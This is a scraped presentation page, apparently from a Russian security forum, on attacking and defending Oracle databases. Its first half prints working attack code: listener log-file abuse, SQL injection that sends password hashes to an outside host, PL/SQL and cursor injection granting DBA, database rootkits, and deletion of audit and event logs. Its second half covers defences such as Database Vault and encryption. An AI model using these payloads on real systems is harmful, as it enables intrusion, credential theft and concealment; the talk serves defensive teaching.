Экранирование локальных пользователей при выходе в публичные сети: эталонная ...
Перспективно мыслящие ИТ-специалисты, которым приходится постоянно иметь дело с попытками взлома систем безопасности, целенаправленными устойчивыми угрозами и сотрудниками из поколения 2000-х, которым нужен доступ в Интернет 24 часа в сутки, теперь могут создать единую точку контроля для доступа в Интернет и обеспечения безопасности, используя решение
F5 Secure Web Gateway Services.
Возрастанию значения подписания кода способствуют две тенденции: рост популярности пользовательских приложений для мобильных и настольных устройств и распространение вредоносных программ. Для киберпреступников это открывает возможность заставить пользователей обманным путем устанавливать вредоносные программы. Прежде чем принять код для распространения, издатели ПО и операторы мобильных сетей все чаще требуют сертификат подписания кода, выданный надежным центром сертификации. Узнайте о преимуществах подписания кода: загрузите нашу официальную публикацию и презентацию SlideShare.
Как разработчику обеспечить безопасность пользователей и данных в мобильном м...
Рассказ о новых API безопасности появившихся в Windows 10. Подробное описание как интегрировать в ваши приложениях Microsoft passport, Windows Hello, Virtual smartcard и другие технологии безопасности. Как сделать ваши приложения удобнее и безопаснее.
Демонстрация комплексной системы контроля проводного и беспроводного доступа ...
VII Уральский форум
Информационная безопасность банков
День Практической Безопасности
Илья Митричев, руководитель направления по работе с ключевыми клиентами, компания CTI
Источник: http://ural.ib-bank.ru/materials_2015
Комплексная платформа аутентификации, которая позволяет организациям реализовывать прогрессивную стратегию строгой аутентификации для обеспечения локального и удаленного доступа к различным корпоративным ресурсам с использованием единого сервера аутентификации
Миграция БД - практический_подход с инструментами Embarcadero
Слайды вебинара компании Embarcadero. Запись вебинара: https://www.youtube.com/watch?v=X9EjeB-aVHM
Одна из наиболее часто возникающих задач - выполнить перенос структур и необходимых данных из существующей БД в новую реализацию или на другую платформу СУБД. Предложены варианты комплексного решения подобных задач с использованием программных средств Embarcadero
Тестирование на проникновение в сетях Microsoft (v.2)
Как показывает практика проведения тестирований на проникновение компанией Positive Technologies, всего 4-х часов достаточно атакующему, находящемуся во внутренней сети компании, для того, чтобы получить максимальный уровень привилегий. С чем это связано и можно ли от этого защититься? Данная тема будет освещена в ходе доклада Дмитрия Евтеева. На вебинаре будут подробно рассмотрены типовые успешные сценарии атак в сетях Microsoft, а также действия атакующего, связанные с пост эксплуатацией в Active Directory.
SQL Server Security Best Practices - Евгений Недашковский
Презентация с форума http://hackit-ukraine.com/
Евгений Недашковский
Старший администратор БД в AltaReturn.
SQL Server Security Best Practices
О спикере: Работает с MS SQL Server более пяти лет. Среди предыдущих мест работы присутствуют такие гиганты как УкрАВТО, Укртелеком и КПМГ Украина. Евгений специализируется на высоконагруженных кластеризированных корпоративных системах. Ему есть что рассказать о особенностях работы с базами данных в большом энтерпрайзе как со стороны производительности, так и со стороны безопасности.
Экранирование локальных пользователей при выходе в публичные сети: эталонная ...Dmitry Tikhovich
Перспективно мыслящие ИТ-специалисты, которым приходится постоянно иметь дело с попытками взлома систем безопасности, целенаправленными устойчивыми угрозами и сотрудниками из поколения 2000-х, которым нужен доступ в Интернет 24 часа в сутки, теперь могут создать единую точку контроля для доступа в Интернет и обеспечения безопасности, используя решение
F5 Secure Web Gateway Services.
Возрастанию значения подписания кода способствуют две тенденции: рост популярности пользовательских приложений для мобильных и настольных устройств и распространение вредоносных программ. Для киберпреступников это открывает возможность заставить пользователей обманным путем устанавливать вредоносные программы. Прежде чем принять код для распространения, издатели ПО и операторы мобильных сетей все чаще требуют сертификат подписания кода, выданный надежным центром сертификации. Узнайте о преимуществах подписания кода: загрузите нашу официальную публикацию и презентацию SlideShare.
Как разработчику обеспечить безопасность пользователей и данных в мобильном м...Andrey Beshkov
Рассказ о новых API безопасности появившихся в Windows 10. Подробное описание как интегрировать в ваши приложениях Microsoft passport, Windows Hello, Virtual smartcard и другие технологии безопасности. Как сделать ваши приложения удобнее и безопаснее.
Демонстрация комплексной системы контроля проводного и беспроводного доступа ...SelectedPresentations
VII Уральский форум
Информационная безопасность банков
День Практической Безопасности
Илья Митричев, руководитель направления по работе с ключевыми клиентами, компания CTI
Источник: http://ural.ib-bank.ru/materials_2015
Gemalto - SAM (SafeNet Authentication Manager)Daria Kovalenko
Комплексная платформа аутентификации, которая позволяет организациям реализовывать прогрессивную стратегию строгой аутентификации для обеспечения локального и удаленного доступа к различным корпоративным ресурсам с использованием единого сервера аутентификации
Миграция БД - практический_подход с инструментами EmbarcaderoAndrew Sovtsov
Слайды вебинара компании Embarcadero. Запись вебинара: https://www.youtube.com/watch?v=X9EjeB-aVHM
Одна из наиболее часто возникающих задач - выполнить перенос структур и необходимых данных из существующей БД в новую реализацию или на другую платформу СУБД. Предложены варианты комплексного решения подобных задач с использованием программных средств Embarcadero
Тестирование на проникновение в сетях Microsoft (v.2)Dmitry Evteev
Как показывает практика проведения тестирований на проникновение компанией Positive Technologies, всего 4-х часов достаточно атакующему, находящемуся во внутренней сети компании, для того, чтобы получить максимальный уровень привилегий. С чем это связано и можно ли от этого защититься? Данная тема будет освещена в ходе доклада Дмитрия Евтеева. На вебинаре будут подробно рассмотрены типовые успешные сценарии атак в сетях Microsoft, а также действия атакующего, связанные с пост эксплуатацией в Active Directory.
SQL Server Security Best Practices - Евгений НедашковскийHackIT Ukraine
Презентация с форума http://hackit-ukraine.com/
Евгений Недашковский
Старший администратор БД в AltaReturn.
SQL Server Security Best Practices
О спикере: Работает с MS SQL Server более пяти лет. Среди предыдущих мест работы присутствуют такие гиганты как УкрАВТО, Укртелеком и КПМГ Украина. Евгений специализируется на высоконагруженных кластеризированных корпоративных системах. Ему есть что рассказать о особенностях работы с базами данных в большом энтерпрайзе как со стороны производительности, так и со стороны безопасности.
2. Некоторые
факты
о
безопасности
БД
• Ежегодное
двухкратное
увеличение
объема
БД
(2011
год
~
1800
экзабайт)
• Увеличивающиеся
объемы
утечек
данных
(утечка
более
300
млн.
записей
с
персональными
данными
за
2008
год,
рост
630%
за
3
года)
• Повышение
нормативных
требований
в
области
ИБ
• 87%
БД
взломаны
через
уязвимости
ОС
• >
80%
атак
совершены
внутренними
нарушителями
• Раскрывается
менее
1%
атак,
совершенных
профессионалами
• Только
10%
стандартных
способов
взлома
становятся
общеизвестными
• Нетехнические
атаки
наиболее
эффективны
4. Сходство
СУБД
и
ОС
В
СУБД
и
в
ОС
есть:
• пользователи
• процессы
• задания
(jobs)
• выполняемый
программный
код
• символьные
ссылки
(links)
Если
СУБД
–
это
разновидность
ОС,
то:
• применимые
к
ОС
угрозы
применимы
и
к
СУБД
с
определенными
особенностями
• в
СУБД
есть
вирусы
• в
СУБД
есть
руткиты
5. Этапы
процесса
взлома
СУБД
Проникновение
в
Эскалация
Закрепление
в
Скрытие
следов
Сбор
информации
СУБД
полномочий
системе
проникновения
Определение:
Определение:
ü Эскалация
ü Внедрение
Удаление
следов
привилегий
средств
для
проникновения
в
ü ОС;
ü SID
базы
данных;
текущего
сокрытия
систему
из:
ü доступных
служб;
ü имени
пользователя
до
посторонней
ü подсистемы
ü версии
СУБД
пользователя
СУБД;
роли
DBA.
активности
в
аудита
СУБД;
ü пароля
ü Получение
системе.
ü конфигурации
ü журналов
СУБД;
СУБД;
пользователя
СУБД.
пароля
пользователя
ü журналов
ОС.
ü других
продуктов
и
обладающего
сторонних
ролью
DBA.
производителей.
7. Проникновение
в
СУБД
Проникновение
в
СУБД
Служба
Listener
Web-‐приложения
Определение
SID
Определение
SID
Определение
SID,
Специфичные
атаки
на
перебором
по
словарю/ поиском
в
настройках
пользователя
и
пароля
с
СУБД
полным
перебором
Web
-‐приложений
помощью
SQL-‐инъекций
Определение
имени
Определение
пароля
пользователя
перебором
по
словарю/
перебором
по
словарю/
полным
перебором
полным
перебором
8. Пример
специфичной
для
СУБД
Oracle
Database
атаки
-‐
создание
пользователя
через
set
log_file
Изменение имени лог-файла службы TNS Listener на glogin.sql
tnscmd10g.pl --rawcmd “((DESCRIPTION=((CONNECT_DATA=(CID=
(PROGRAM=)(HOST=)(USER=))((COMMAND=LOGFILE)(ARGUMENTS=4)
(SERVICE=LISTENER)(VERSION=1)(VALUE=/u01/app/oracle/product/10.2.0/db_1/sqlplus/
admin/glogin.sql))” -h 10.0.116.175
Отправка ошибочной низкоуровневой команды службе TNS Listener
tnscmd10g.pl –h 10.0.116.175 –rawcmd “(CONNECT_DATA=((
set term off
create user dbhack identified by oracle_1
set term on
“
Изменение имени лог-файла службы TNS Listener на оригинальный
tnscmd10g.pl --rawcmd “((DESCRIPTION=((CONNECT_DATA=(CID=
(PROGRAM=)(HOST=)(USER=))((COMMAND=LOGFILE)(ARGUMENTS=4)
(SERVICE=LISTENER)(VERSION=1)(VALUE=/u01/app/oracle/product/10.2.0/db_1/network/
log/listener.log))” -h 10.0.116.175
9. SQL-‐инъекции
в
Web-‐приложениях
• Результат
выполнения
SQL-‐инъекции
возвращается
в
браузер.
Данные
могут
выводиться
в
стандартный
вывод
или
в
сообщение
Inband
об
ошибке
• Для
вывода
результата
выполнения
SQL-‐инъекции
используются
различные
каналы
такие,
как
HTTP,
DNS
и
т.д.
С
помощью
данного
Out-‐of-‐Band
подхода
возможна
передача
большого
объема
данных.
• Различные
характеристики
запроса
такие,
как
время
выполнения/
Blind
результат
используются
для
получения
данных
из
СУБД.
10. Inband
SQL-‐инъекции
• Метод основанный на использовании оператора UNION.
Измененный URL-запрос:
http://webapp.com/order.jsp?id=17' UNION SELECT name FROM TABLE--
Запрос, сконструированный Web-приложением:
SELECT * FROM table WHERE id=’17‘ UNION SELECT name FROM USERS--
• Метод основанный на выводе результатов в сообщении об
ошибке.
Замена строки на подзапрос для модификации сообщения об
ошибке:
http://webapp.com/order.cfm?id=17||utl_inaddr.get_host_name((select banner from v
$version where rownum=1))
Сообщение об ошибке:
Message: Error Executing Database Query.
Native error code: 29257
Detail: [Macromedia][Oracle JDBC Driver][Oracle]
ORA-29257: host Oracle Enterprise Edition 10.1.0.5 for Solaris unknown
ORA-06512: at "SYS.UTL_INADDR", line 35
ORA-06512: at "SYS.UTL_INADDR", line 35
ORA-06512: at line 1
11. Out-‐of-‐Band
SQL-‐инъекции
Отправка результатов SQL-инъекции на внешний сайт с
помощью UTL_HTTP:
select utl_http.request ('http://www.sqlhack.com/'|| (select password
from dba_users where rownum=1)) from dual;
Отправка результатов SQL-инъекции на внешний сайт с
помощью HTTPURITYPE:
select HTTPURITYPE( 'http://www.sqlhack.com/'|| (select password
from dba_users where rownum=1) ).getclob() from dual;
Отправка результатов SQL-инъекции c помощью DNS-
запроса (макс. 64 байта):
select utl_http.request ('http://www.'||(select password from dba_users
where rownum=1)||'.sqlhack.com/' ) from dual;
DNS-запрос:
www.B3B4C4D878234234234.sqlhack.com
12. Blind
SQL-‐инъекции
Пример возможностей для Blind SQL-инъекций:
• DECODE:
• CASE.
Пример псевдокода при использовании разницы во
времени выполнения для получения информации:
If the first character of the sys-hashkey is a 'A‘ then
select count(*) from all_objects
else
select count(*) from dual
end if;
Пример:
select decode(substr(user,1,1),'S',(select count(*) from all_objects),0) from
dual;
Elapsed: 00:00:00.00
select decode(substr(user,1,1),'A',(select count(*) from all_objects),0) from
dual;
Elapsed: 00:00:22.50
14. Эскалация
привилегий
(специфично
для
СУБД)
Основные
внутренние
уязвимости
СУБД
Oracle,
позволяющие
эскалировать
привилегии
до
роли
DBA
или
получить
пароль
пользователя
имеющего
роль
DBA:
•
PL/SQL-‐инъекции;
•
Cursor-‐инъекции;
•
Cursor
snarfing;
•
Модификация
таблиц
доступных
только
на
чтение;
•
UTL_TCP
+
TNL
Listener
+
set
log_file;
•
DBMS_SCHEDULER
+
SQLPLUS
/
AS
SYSDBA.
15. PL/SQL-‐инъекции
Типовая PL/SQL-инъекция через пользовательскую функцию. Необходима
привилегия CREATE PROCEDURE.
CREATE OR REPLACE FUNCTION F1 return number
authid current_user as
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO PUBLIC';
COMMIT;
RETURN 1;
END;
/
exec sys.kupw$WORKER.main('x','YY'' and 1=user12.f1 --
hitb2007');
16. Cursor-‐инъекции
Типовая Cursor-инъекция. Для реализации достаточно обладать
только ролью CONNECT.
DECLARE
MYC NUMBER;
BEGIN
MYC := DBMS_SQL.OPEN_CURSOR;
DBMS_SQL.PARSE(MYC,
'declare pragma autonomous_transaction;
begin execute immediate ''grant dba to public'';
commit;end;',0);
sys.KUPW$WORKER.MAIN('x',''' and 1=dbms_sql.execute('||
myc||')--');
END;
17. Cursor
snarfing
Пример процедуры, некорректно Пример кода извлекающего данные из
обрабатывающей курсор. некорректно обработанного курсора.
CREATE OR REPLACE PROCEDURE GET_USERHASH(l_USER VARCHAR2) IS DECLARE
CURSOR_NAME INTEGER; CURSOR_NAME INTEGER;
v_HASH VARCHAR2(32); i_CNT INTEGER;
i_CNT INTEGER; v_HASH VARCHAR2(30);
BEGIN BEGIN
IF l_USER != 'SYS' THEN CURSOR_NAME := 9;
CURSOR_NAME := DBMS_SQL.OPEN_CURSOR; DBMS_SQL.BIND_VARIABLE(CURSOR_NAME,
DBMS_OUTPUT.PUT_LINE('CURSOR NAME: ':i','SYS');
'||CURSOR_NAME); DBMS_SQL.DEFINE_COLUMN(CURSOR_NAME,
DBMS_SQL.PARSE(CURSOR_NAME,'SELECT PASSWORD 1,v_HASH,30);
FROM SYS.DBA_USERS WHERE i_CNT := DBMS_SQL.EXECUTE(CURSOR_NAME);
USERNAME = :i', IF DBMS_SQL.FETCH_ROWS(CURSOR_NAME) > 0
DBMS_SQL.NATIVE); THEN
DBMS_SQL.BIND_VARIABLE(CURSOR_NAME, DBMS_SQL.COLUMN_VALUE(CURSOR_NAME,
':i',l_USER); 1,v_HASH);
DBMS_SQL.DEFINE_COLUMN(CURSOR_NAME, END IF;
1,v_HASH,30); DBMS_SQL.CLOSE_CURSOR(CURSOR_NAME);
i_CNT := DBMS_SQL.EXECUTE(CURSOR_NAME); DBMS_OUTPUT.PUT_LINE('HASH: '||v_HASH);
IF DBMS_SQL.FETCH_ROWS(CURSOR_NAME) > 0 THEN END;
DBMS_SQL.COLUMN_VALUE(CURSOR_NAME,1,v_HASH);
DBMS_OUTPUT.PUT_LINE('HASH: '||v_HASH);
END IF;
DBMS_SQL.CLOSE_CURSOR(CURSOR_NAME);
END IF;
END;
18. Модификация
таблиц
доступных
только
на
чтение
При использовании специальным образом созданных
представлений возможно выполнение операций INSERT/
DELETE/UPDATE над таблицами, доступными только для
операции SELECT.
CREATE VIEW V_HTABLE AS
SELECT a.* FROM SYS.HTABLE a, SYS.HTABLE b
WHERE a.id = b.id;
INSERT INTO V3_HTABLE(ID,TEXT) VALUES (3,'TEXT 3');
COMMIT;
20. Закрепление
в
системе
Руткит – программа или набор программ для скрытия
следов присутствия злоумышленника или вредоносной
программы в системе.
Три поколения руткитов:
q Первое поколение
Изменения в словарях данных (модификация
представлений и процедур/изменение синонимов).
q Второе поколение
Модификация бинарных файлов.
q Третье поколение
Модификация данных непосредственно в серверной памяти
(использование API, позволяющего модифицировать данные
в памяти).
21. Руткиты
первого
поколения
(скрытие
пользователей
базы
данных)
Создание пользователя.
SQL> create user hacker identified by hacker;
SQL> grant dba to hacker;
Список пользователей
SQL> select username from dba_users;
USERNAME
------------------------------
DBSNMP
EXFSYS
HACKER
ORDSYS
SYS
SYSTEM
[…]
22. Руткиты
первого
поколения
(скрытие
пользователей
базы
данных)
Enterprise Manager (Java) Database
Control (Web)
23. Руткиты
первого
поколения
(скрытие
пользователей
базы
данных)
Добавляем дополнительное условие в представление
SYS.DBA_USERS
24. Руткиты
первого
поколения
(скрытие
пользователей
базы
данных)
Enterprise Manager (Java) Database
Control (Web)
25. Руткиты
второго
поколения
(Модификация
бинарных
файлов
СУБД)
При попытки входа в систему процесс СУБД считывает
аутентификационные данные из таблицы sys.user$ и
сравнивает их с данными введенными пользователем.
26. Руткиты
второго
поколения
(Модификация
бинарных
файлов
СУБД)
Заменяем в системном бинарном файле СУБД все вхождения
строки sys.user$ на sys.аser$.
27. Руткиты
второго
поколения
(Модификация
бинарных
файлов
СУБД)
Администраторы безопасности и утилиты, используемые
для анализа безопасности, проверяют таблицу sys.user$.
Системный процесс СУБД использует таблицу sys.aser$,
содержащую скрытого пользователя.
29. Скрытие
следов
проникновения
Использование специального комментария в запросах для упрощения
поиска записей в таблицах аудита.
select /* HITB2007 */ * from dba_users;
Удаление записей, содержащих запросы, помеченные специальным
комментарием, из таблиц аудита (sys.aud$, sys.fga_log$)
delete from sys.aud$ where lower(sqltext) like ‘%hitb2007%’;
Удаление записей из журнала ОС специальным скриптом запущенным
с помощью DBMS_SCHEDULER.
Option Explicit
On Error Resume Next
Dim LogType, EventLog, Entry
Set EventLog = GetObject("winmgmts:
{impersonationLevel=impersonate}").ExecQuery _("select * from
Win32_NTEventLogFile where LogfileName='Application'")
For each Entry in EventLog
Entry.ClearEventlog()
Next
WScript.Quit
Очистка лога DBMS_SCHEDULER.
exec DBMS_SCHEDULER.PURGE_LOG;
31. Методы
защиты
СУБД
Защита
серверной
инфраструктуры
и
ОС
Защита
СУБД
Безопасное
Функции
и
опции
Межсетевое
Криптографическая
конфигурирование
безопасности
СУБД
экранирование
Database
firewall
Аудит
защита
данных
Защита
приложений
Безопасное
кодирование
и
стандарты
Инспекция
скриптов
БД
разработки
Параметры
приложений
Управление
безопасностью
Контроль
целостности
Аудит
событий
ИБ
Управление
полномочиями
Работа
с
персоналом
40. Fine-Grained Access Control (VPD)
Ограничение
доступа
к
строкам
(FGAC
RLS)
Ограничение
доступа
к
столбцам
(FGAC
CLS)
41. Виртуальные частные БД
Исходный запрос
Проверка VPD:
таблица: orders
SELECT * DML: SELECT
FROM orders
1) Пользователь выполняет запрос 2) Oracle проверяет наличие VPD-
правила для данной таблицы
Правило Измененный запрос
SELECT *
return ‘deptno = FROM orders
sys_context(‘‘emp_ctx‘‘, WHERE (deptno=sys_context
‘‘dept_no‘‘)‘; (‘epm_ctx‘,‘dept_no‘)
3) вызывается ф-ция myApp_SelPol 4) Oracle модифицировал запрос в
соответствии с VPD-правилом
42. Встроенные возможности
протоколирования и аудита
• Обязательный
аудит
• Аудит
Базы
Данных
• Value-‐based
audi‡ng
(триггеры
БД)
• Fine-‐grained
audi‡ng
(FGA)
43. Аудит пользователей SYSDBA и
SYSOPER
• Пользователи
DBA
могут
быть
подключены
к
закрытой
БД
–
хранилище
аудита
должно
быть
вне
БД
• Соединения
как
SYSDBA
/
SYSOPER
всегда
протоколируются
• Включается
дополнительное
протоколирование
действий
DBA
с
audit_sys_opera‡ons
• Хранилище
журнала
аудита
задается
audit_file_dest.
По
умолчанию:
-‐
$ORACLE_HOME/rdbms/audit
(UNIX/Linux)
-‐
Windows
Event
Log
(Windows)
44. Стандартный аудит БД
• Протоколирование
использования
привилегий
пользователями
для
осуществления
доступа.
• Настраивается
командами
AUDIT
/
NOAUDIT
• Журнал
хранится
в
SYS.AUD$.
Доступ
через
представления
(DBA_AUDIT_TRAIL)
49. Oracle Database Vault
ограничение
доступа
к
данным
приложений
со
стороны
администраторов
базы
данных
(DBA)
ограничение
полномочий
схем-‐владельцев
объектов
обеспечение
доступа
к
данным
на
основе
динамически
настраиваемых
правил,
зависящих
от
различных
факторов
(IP-‐адреса,
время,
метки
OLS)
разные
полномочия
в
зависимости
от
работающего
приложения
(secure
applica}on
role)
разделение
полномочий
пользователей
в
соответствии
с
их
функциональными
обязанностями
и
внутренний
контроль
50. Функциональные элементы
Защищенные области
Мониторинг
Многофакторная
авторизация
Аудит
Динамическая Разграничение
настройка правил безопасности по служебным обязанностям
51. Учетные записи
DV_OWNER и DV_ACCTMGR
DV_OWNER: DV_ACCTMGR:
• Соединение с Database Vault • Создание учетных
Administrator записей пользователей
• Модификация конфигурации • Управление паролями
Database Vault учетных записей
пользователей
• Отключение компонент
безопасности / аудита
52. Пример использования
защищенных областей
Администратор БД (ADM_DBA)
обращается к данным
в схеме HR select * from HR.emp
ADM_DBA
Соответствие нормативным
требованиям и стандартам
внутреннего аудита
HR
HR
Пользователь HR_DBA HR_DBA
обращается к данным
в схеме FIN или желает
получить доступ к
области HR во FIN
внерабочее время FIN
FIN_DBA
Безопасная консолидация
приложений на одном сервере
53. Создание защищенной области
HR_DBA
Создание DBA роли
REALM
create role HR_DBA
Имя: Области
grant dba to
Текстовый комментарий
HR_DBA
Статус использования: Да / Нет
Создание области
Опции аудита: Нет / При ошибках / Всегда
CREATE_REALM
Определение
Имя: Схемы объекта
списка защищаемых Тип объекта: TABLE,ROLE,VIEW…
объектов Имя: Объекта
ADD_OBJECT_TO_REAL
M
Определение Имя: Пользователя или Роли
Тип Пользователя: Участник / Владелец
списка защищаемых Зависимость типа авторизации от правил
пользователей
ADD_AUTH_TO_REALM
54. Правила выполнения команд
Запрет
использования
• DDL
выражений
(команд)
• Для
указанных
или
всех
объектов
Результат
контроля
регистрируется
в
данных
аудита
Потенциальные
возможности
применения
• Разрешение
применения
команд
в
соответствии
с
функциональными
обязанностями
(если
DBA
не
должен
управлять
пользователями,
то
команды
CREATE
USER,
ALTER
USER
запрещаются)
• Как
инструмент
организации
бизнес-‐процедур
• Запрет
использования
управляющих
DDL
команд
в
отношении
используемых
таблиц
в
«рабочие
часы»
• Сохранение
структуры
защищаемых
данных
и
контроль
(аудит)
за
проводимыми
в
них
изменениями
(отвечает
требованиям
SOX
или
HIPPA)
55. Контролируемые команды
Alter
Database
Alter
Database
Alter
Table
Alter
Func}on
Audit
Alter
Tablespace
Alter
Package
Body
Alter
Procedure
Alter
Profile
Alter
Session
Alter
System
Alter
Synonym
Alter
Table
Alter
Trigger
Alter
User
Password
Alter
Tablespace
Alter
View
Change
Password
Connect
Comment
Create
Func}on
Create
Index
Create
Package
Create
Database
Link
Create
Procedure
Create
Role
Create
Package
Body
Create
User
Create
View
Create
Table
Grant
Insert
Noaudit
Rename
Lock
Table
Create
Tablespace
Create
Trigger
Truncate
Table
Update
Insert
Delete
Execute
Select
56. Группы правил
create_rule_set
Rule_set Создание группы Правил
группа Правил
create_rule
Rule A
правило Создание Правила «А»
Rule B
правило Создание Правила «B»
Rule C
правило Создание Правила «C»
Создание СПИСКА
правил Опции
ü результат (ALL true или ANY true)
(в порядке выполнения)
ü отображение сообщения об ошибке и его текст
в группе
ü использование Custom Event Handler
add_rule_to_rule_set
57. Факторы
Базовые
блоки
для
реализации
мандатного
способа
доступа
(MAC)
• Доступны
в
приложениях
через
PL/SQL
функции
• Используются
при
создании
Oracle
Database
Vault
для
обеспечения
безопасности
приложений
• Администратор
может
управлять
Oracle
Database
Vault
MAC
с
использованием
GUI
или
PL/SQL
API
• Защита
данных
и
аудит
нарушений
требований
политик
безопасности,
бизнес-‐
процедур.
(SOX,HIPPA)
Атрибуты
и
опции
конфигурации
• Retrieval
Method
–
PL/SQL
выражение
(функция)
• Valida}on
Method
–
PL/SQL
выражение
(функция)
• Iden}fied
By
–
интеграция
с
другими
факторами
• Labeled
By
–
интеграция
с
Oracle
Label
Security
или
VPD
58. Предопределенные факторы
Authentication Session Database
Client IP Name
Method User
Database Database
Domain Machine
Name Instance
Proxy
Network Enterprise
Database IP Enterprise
Protocol Identity Identity
Database
Language Hostname Date Time
59. Secure application role
secure
applica}on
role
–
это
роль
БД,
которую
можно
включить
только
используя
специальную
PL/SQL
процедуру
Database
Vault
Administrator
может
создать
роли,
включение
которых
зависит
от
определенных
наборов
правил
приложения
могут
использовать
Database
Vault
API
для
установки
роли
с
ролью
могут
быть
ассоциированы
необходимые
привилегии
62. Oracle Label Security
Эффективное
средство
обеспечения
доступа
на
уровне
строк
Отвечает
строгим
требованиям
государственных
и
коммерческих
организаций
Данным
присваиваются
специальные
метки
Гибкая
настройка
с
помощью
GUI
или
API
Нет
необходимости
кодировать
логику
на
PL/SQL
Политика
безопасности
выборочна
и
применяется
когда
необходимо
Гранулированность
меток
Соответствует
ISO/IEC
15408
Common
Criteria
EAL
63. Политики безопасности
Политика
–
имя,
ассоциированное
с
набором
меток
для
авторизации
пользователей
и
защищаемых
объектов
В
одной
базе
данных
с
OLS
может
быть
определено
множество
политик
Каждая
политика
ассоциируется
с
уникальным
именем
столбца
защищаемой
таблицы,
который
добавляется
в
защищаемую
таблицу
(может
использоваться
имеющийся
столбец)
• столбец
может
быть
скрыт
• тип
данных
столбца
-‐
number(10)
Политики
применимы
к
таблицам
и
схемам
64. Мандатное разграничение доступа
Структура метки:
• уровень (несекретно,
конфиденциально,
секретно, сов.секретно,
особой важности)
• категория (финансовая,
административная,
военная)
• группа (руководство,
рядовые сотрудники)
Пример метки:
TS:FIN,ADM:CHIEF
66. Oracle Advanced Security
• Прозрачное шифрование данных в БД (TDE)
• Поддержка взаимной аутентификации
• Поддержка single sign-on
• Поддерживает следующих технологий аутентификации:
- Public key infrastructure (PKI)
- RADIUS
- Kerberos
- Token и smart карты
- Biometrics
- Distributed Computing Environment
• Интегрировано с Oracle Net Services
67. Особенности прозрачного
шифрования данных в БД (TDE)
Приложение Шифрование
данных,
передаваемых
по сети
При записи данных они Преобразование данных
преобразуются к к простому формату
защищенному формату при чтении
Резервные копии данных
сохраняются в защищенном формате
68. Права доступа
Пароль для доступа к данным
отличается от System и DBA паролей
Нет доступа к wallet
Database DBA
Доступ к данным
Мастер-ключ разрешен
Пароль
69. Ключи
Ключи для колонок защищены
мастер-ключем
Мастер-ключ хранится
в PKCS#12 wallet
Защищенные
колонки таблиц
70. Создание ключа шифрования
Создать wallet и сгенерировать мастер-ключ:
alter system set key identified by “oracle_1”
Открыть wallet:
alter system set wallet open identified
by “oracle_1”
71. Защита колонок
Защита колонки в существующей таблице:
alter table credit_rating modify
(person_id encrypt);
Создание новой таблицы с защищенной колонкой:
create table orders (
order_id number (12),
customer_id number(12),
credit_card varchar2(16) encrypt);
72. Индексирование для защищенных
колонок
Alter table credit_rating modify
(person_id encrypt no salt)
Create index person_id_idx on credit_rating
(PERSON_ID)
Select score from credit_rating
where PERSON_ID='235901';
Не требуется изменять приложение
73. Алгоритмы шифрования
Алгоритм защиты по умолчанию - AES 192-bit
alter table credit_rating modify
(person_id encrypt);
Создание новой таблицы с использованием
других алгоритмов защиты:
create table employee (
first_name varchar2(64),
last_name varchar2(64),
empID NUMBER encrypt using ‘AES256’,
salary NUMBER(6) encrypt using ‘AES256‘)